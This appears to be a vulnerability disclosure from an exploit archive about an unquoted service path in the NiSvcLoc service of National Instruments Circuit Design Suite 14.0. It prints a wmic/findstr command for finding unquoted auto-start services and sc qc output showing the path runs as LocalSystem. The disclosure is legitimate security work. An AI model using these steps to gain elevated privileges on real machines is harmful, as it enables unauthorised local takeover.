National Instruments Circuit Design Suite 14.0 - Local Privilege Escalation

# Exploit Title: National Instruments Circuit Design Suite 14.0 - Local Privilege Escalation
# Discovery Date: 2019-10-10
# Exploit Author: Ivan Marmolejo
# Vendor Homepage: http://www.ni.com/en-us.html
# Software Link: https://www.ni.com/en-us/shop/select/circuit-design-suite
# Version: 14.0
# Vulnerability Type: Local
# Tested on: Windows 10 Pro x64 Esp
# Version: 10.0.18362

# Exploit.txt

##############################################################################################################################################

Summary:        Circuit Design Suite combines Multisim and Ultiboard software to offer a complete set of tools for circuit design,simulation, 
validation and design. Circuit Design Suite helps you design circuits with intuitive and cost-effective tools. You can perform an interactive 
SPICE simulation and make a perfect transition to PCB design and routing software. Built for education, research and design, the suite offers
advanced simulation capabilities to give you a clear view of how circuits perform in any situation.

Description:    The application suffers from an unquoted search path issue impacting the service 'NiSvcLoc'. This could potentially allow an 
authorized but non-privileged local user to execute arbitrary code with elevated privileges on the system. A successful attempt would require 
the local user to be able to insert their code in the system root path undetected by the OS or other security applications where it could 
potentially be executed during application startup or reboot. If successful, the local user’s code would execute with the elevated privileges
of the application.


##############################################################################################################################################

Step to discover the unquoted Service:

 
C:\Users\user>wmic service get name, displayname, pathname, startmode | findstr /i "auto" | findstr /i /v "C:\Windows\\" | findstr /i /v """


NI Service Locator           NiSvcLoc              C:\Program Files (x86)\National Instruments\Shared\niSvcLoc\nisvcloc.exe -s            Auto


##############################################################################################################################################

Service info:


C:\Users\user>sc qc NiSvcLoc

[SC] QueryServiceConfig CORRECTO

NOMBRE_SERVICIO: NiSvcLoc
        TIPO               : 10  WIN32_OWN_PROCESS
        TIPO_INICIO        : 2   AUTO_START
        CONTROL_ERROR      : 1   NORMAL
        NOMBRE_RUTA_BINARIO: C:\Program Files (x86)\National Instruments\Shared\niSvcLoc\nisvcloc.exe -s
        GRUPO_ORDEN_CARGA  :
        ETIQUETA           : 0
        NOMBRE_MOSTRAR     : NI Service Locator
        DEPENDENCIAS       :
        NOMBRE_INICIO_SERVICIO: LocalSystem

##############################################################################################################################################